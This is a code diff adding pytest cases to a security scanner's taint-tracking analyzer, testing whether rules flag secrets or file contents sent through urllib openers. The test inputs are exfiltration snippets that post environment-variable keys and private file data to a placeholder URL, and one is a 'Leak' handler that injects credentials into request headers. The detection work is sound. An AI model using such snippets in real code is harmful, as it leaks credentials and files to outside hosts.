|
20 | 20 | import json |
21 | 21 | import time |
22 | 22 |
|
| 23 | +import pytest |
| 24 | + |
23 | 25 | from skillspector.nodes.analyzers import behavioral_taint_tracking |
24 | 26 | from skillspector.nodes.analyzers.common import build_type_map |
25 | 27 | from skillspector.nodes.deduplicate import deduplicate |
@@ -125,6 +127,199 @@ def test_getenv_to_httpx(self): |
125 | 127 | assert len(tt3) >= 1 |
126 | 128 |
|
127 | 129 |
|
| 130 | +# ── Inline urllib opener network sinks ──────────────────────────────── |
| 131 | + |
| 132 | + |
| 133 | +class TestInlineUrllibOpener: |
| 134 | + """Inline and stored urllib openers follow existing name-based sink policy.""" |
| 135 | + |
| 136 | + @pytest.mark.parametrize( |
| 137 | + ("imports", "factory"), |
| 138 | + [ |
| 139 | + ("import urllib.request", "urllib.request.build_opener"), |
| 140 | + ("import urllib.request as ur", "ur.build_opener"), |
| 141 | + ("from urllib import request as ur", "ur.build_opener"), |
| 142 | + ("from urllib.request import build_opener as make", "make"), |
| 143 | + ], |
| 144 | + ) |
| 145 | + @pytest.mark.parametrize("payload", ["request", "direct", "variable"]) |
| 146 | + def test_credential_to_inline_opener(self, imports, factory, payload): |
| 147 | + prefix = f"import os\n{imports}\n" |
| 148 | + if payload == "request": |
| 149 | + # .get() isolates the missing sink from the separate nested-subscript gap. |
| 150 | + prefix += ( |
| 151 | + "import urllib.request\n" |
| 152 | + 'req = urllib.request.Request("https://example.invalid", ' |
| 153 | + 'headers={"Authorization": "Bearer " + os.environ.get("KEY")})\n' |
| 154 | + ) |
| 155 | + args = "req" |
| 156 | + elif payload == "direct": |
| 157 | + args = '"https://example.invalid", data=os.getenv("KEY")' |
| 158 | + else: |
| 159 | + prefix += 'secret = os.environ["KEY"]\n' |
| 160 | + args = '"https://example.invalid", data=secret' |
| 161 | + findings = _run(prefix + f"{factory}().open({args})\n") |
| 162 | + tt3 = [f for f in findings if f.rule_id == "TT3"] |
| 163 | + assert len(tt3) == 1 |
| 164 | + assert tt3[0].severity == "CRITICAL" |
| 165 | + assert tt3[0].file == "script.py" |
| 166 | + assert tt3[0].start_line == len(prefix.splitlines()) + 1 |
| 167 | + assert "build_opener.open" in tt3[0].message |
| 168 | + assert f"{factory}().open" in tt3[0].matched_text |
| 169 | + |
| 170 | + def test_handler_arguments_keep_the_network_sink(self): |
| 171 | + code = ( |
| 172 | + "import os, urllib.request\n" |
| 173 | + "class NoRedirect(urllib.request.HTTPRedirectHandler):\n" |
| 174 | + " def redirect_request(self, *args):\n" |
| 175 | + " return None\n" |
| 176 | + "urllib.request.build_opener(NoRedirect()).open(\n" |
| 177 | + ' "https://example.invalid", data=os.getenv("KEY"))\n' |
| 178 | + ) |
| 179 | + assert "TT3" in _rule_ids(_run(code)) |
| 180 | + |
| 181 | + def test_file_data_to_inline_opener_is_tt4(self): |
| 182 | + code = ( |
| 183 | + "import urllib.request\n" |
| 184 | + 'data = open("private.txt").read()\n' |
| 185 | + 'urllib.request.build_opener().open("https://example.invalid", data=data)\n' |
| 186 | + ) |
| 187 | + assert "TT4" in _rule_ids(_run(code)) |
| 188 | + |
| 189 | + @pytest.mark.parametrize( |
| 190 | + "call", |
| 191 | + [ |
| 192 | + 'urllib.request.build_opener().open("https://example.invalid")', |
| 193 | + 'urllib.request.build_opener().open("https://example.invalid", data=b"public")', |
| 194 | + 'urllib.request.build_opener().close(os.getenv("KEY"))', |
| 195 | + 'open("local.txt", "w").write(os.getenv("KEY"))', |
| 196 | + 'Fake().open(os.getenv("KEY"))', |
| 197 | + ], |
| 198 | + ) |
| 199 | + def test_other_open_methods_and_public_payloads_are_not_tt3(self, call): |
| 200 | + code = "import os, urllib.request\n" + call + "\n" |
| 201 | + assert "TT3" not in _rule_ids(_run(code)) |
| 202 | + |
| 203 | + @pytest.mark.parametrize("stored", [False, True]) |
| 204 | + @pytest.mark.parametrize( |
| 205 | + ("imports", "factory"), |
| 206 | + [ |
| 207 | + ("import urllib.request", "urllib.request.build_opener"), |
| 208 | + ("import urllib.request as ur", "ur.build_opener"), |
| 209 | + ("from urllib import request as ur", "ur.build_opener"), |
| 210 | + ("from urllib.request import build_opener as make", "make"), |
| 211 | + ], |
| 212 | + ) |
| 213 | + def test_stored_and_inline_opener_aliases(self, imports, factory, stored): |
| 214 | + prefix = f"import os\n{imports}\n" |
| 215 | + if stored: |
| 216 | + prefix += f"opener = {factory}()\n" |
| 217 | + call = "opener.open" |
| 218 | + else: |
| 219 | + call = f"{factory}().open" |
| 220 | + assert "TT3" in _rule_ids(_run(prefix + f'{call}(os.getenv("KEY"))\n')) |
| 221 | + |
| 222 | + @pytest.mark.parametrize( |
| 223 | + "code", |
| 224 | + [ |
| 225 | + 'import os\ndef send():\n import urllib.request\n urllib.request.build_opener().open(os.getenv("KEY"))\n', |
| 226 | + 'import os, urllib.request\ndef helper():\n import urllib.parse\nurllib.request.build_opener().open(os.getenv("KEY"))\n', |
| 227 | + 'import os\nfrom urllib import request\ndef handle(request):\n pass\nrequest.build_opener().open(os.getenv("KEY"))\n', |
| 228 | + 'import os\nif __name__ == "__main__":\n import urllib.request\n urllib.request.build_opener().open(os.getenv("KEY"))\n', |
| 229 | + 'import os, urllib.request\nurllib.request.HTTPRedirectHandler.max_repeats = 2\nurllib.request.build_opener().open(os.getenv("KEY"))\n', |
| 230 | + 'import os, urllib.request\ndef unused(urllib=None):\n pass\nurllib.request.build_opener().open(os.getenv("KEY"))\n', |
| 231 | + 'import os\ndef send():\n urllib.request.build_opener().open(os.getenv("KEY"))\nimport urllib.request\n', |
| 232 | + ], |
| 233 | + ) |
| 234 | + def test_ordinary_import_layouts_do_not_disable_sink(self, code): |
| 235 | + assert "TT3" in _rule_ids(_run(code)) |
| 236 | + |
| 237 | + @pytest.mark.parametrize("stored", [False, True]) |
| 238 | + @pytest.mark.parametrize( |
| 239 | + ("payload", "rule"), |
| 240 | + [ |
| 241 | + ('data=os.getenv("KEY")', "TT3"), |
| 242 | + ('data=open("private.txt").read()', "TT4"), |
| 243 | + ('data=b"public"', None), |
| 244 | + ], |
| 245 | + ) |
| 246 | + def test_inline_and_stored_payloads_agree(self, stored, payload, rule): |
| 247 | + code = "import os, urllib.request\n" |
| 248 | + if stored: |
| 249 | + code += "opener = urllib.request.build_opener()\n" |
| 250 | + call = "opener.open" |
| 251 | + else: |
| 252 | + call = "urllib.request.build_opener().open" |
| 253 | + findings = _run(code + f'{call}("https://example.invalid", {payload})\n') |
| 254 | + if rule: |
| 255 | + assert rule in _rule_ids(findings) |
| 256 | + else: |
| 257 | + assert not {"TT3", "TT4"} & _rule_ids(findings) |
| 258 | + |
| 259 | + def test_unrelated_stored_factory_is_not_a_network_sink(self): |
| 260 | + assert "TT3" not in _rule_ids( |
| 261 | + _run('import os\nopener = Fake()\nopener.open(os.getenv("KEY"))\n') |
| 262 | + ) |
| 263 | + |
| 264 | + @pytest.mark.parametrize( |
| 265 | + "prefix", |
| 266 | + [ |
| 267 | + "def build_opener():\n return Fake()\n", |
| 268 | + "from other_module import build_opener\n", |
| 269 | + ], |
| 270 | + ) |
| 271 | + def test_unrelated_factory_is_not_a_network_sink(self, prefix): |
| 272 | + assert "TT3" not in _rule_ids( |
| 273 | + _run("import os\n" + prefix + 'build_opener().open(os.getenv("KEY"))\n') |
| 274 | + ) |
| 275 | + |
| 276 | + def test_same_line_occurrences_keep_separate_locations(self): |
| 277 | + call = 'urllib.request.build_opener().open("https://example.invalid", data=secret)' |
| 278 | + code = 'import os, urllib.request\nsecret = os.getenv("KEY")\n' + f"{call}; {call}\n" |
| 279 | + findings = [f for f in _run(code) if f.rule_id == "TT3"] |
| 280 | + assert len(findings) == 2 |
| 281 | + assert len({f.start_column for f in findings}) == 2 |
| 282 | + |
| 283 | + def test_direct_urlopen_control_still_reports_request_payload(self): |
| 284 | + code = ( |
| 285 | + "import os, urllib.request\n" |
| 286 | + 'req = urllib.request.Request("https://example.invalid", ' |
| 287 | + 'headers={"Authorization": os.getenv("KEY")})\n' |
| 288 | + "urllib.request.urlopen(req)\n" |
| 289 | + ) |
| 290 | + assert "TT3" in _rule_ids(_run(code)) |
| 291 | + |
| 292 | + @pytest.mark.parametrize("stored", [False, True]) |
| 293 | + @pytest.mark.parametrize("credential", ["os.getenv('KEY')", "secret"]) |
| 294 | + def test_handler_credentials_follow_existing_sink_policy(self, credential, stored): |
| 295 | + code = ( |
| 296 | + "import os, urllib.request\n" |
| 297 | + "class Leak(urllib.request.BaseHandler):\n" |
| 298 | + " def __init__(self, value):\n" |
| 299 | + " self.value = value\n" |
| 300 | + " def http_request(self, req):\n" |
| 301 | + " req.add_header('Authorization', self.value)\n" |
| 302 | + " return req\n" |
| 303 | + "secret = os.getenv('KEY')\n" |
| 304 | + ) |
| 305 | + factory = f"urllib.request.build_opener(Leak({credential}))" |
| 306 | + if stored: |
| 307 | + code += f"opener = {factory}\n" |
| 308 | + call = "opener.open" |
| 309 | + else: |
| 310 | + call = f"{factory}.open" |
| 311 | + assert "TT3" in _rule_ids(_run(code + f"{call}('https://example.invalid')\n")) |
| 312 | + |
| 313 | + def test_keyword_request_argument_is_checked(self): |
| 314 | + code = ( |
| 315 | + "import os, urllib.request\n" |
| 316 | + 'req = urllib.request.Request("https://example.invalid", ' |
| 317 | + 'headers={"Authorization": os.getenv("KEY")})\n' |
| 318 | + "urllib.request.build_opener().open(fullurl=req)\n" |
| 319 | + ) |
| 320 | + assert "TT3" in _rule_ids(_run(code)) |
| 321 | + |
| 322 | + |
128 | 323 | # ── TT4: File read → network sink ────────────────────────────────────── |
129 | 324 |
|
130 | 325 |
|
|
0 commit comments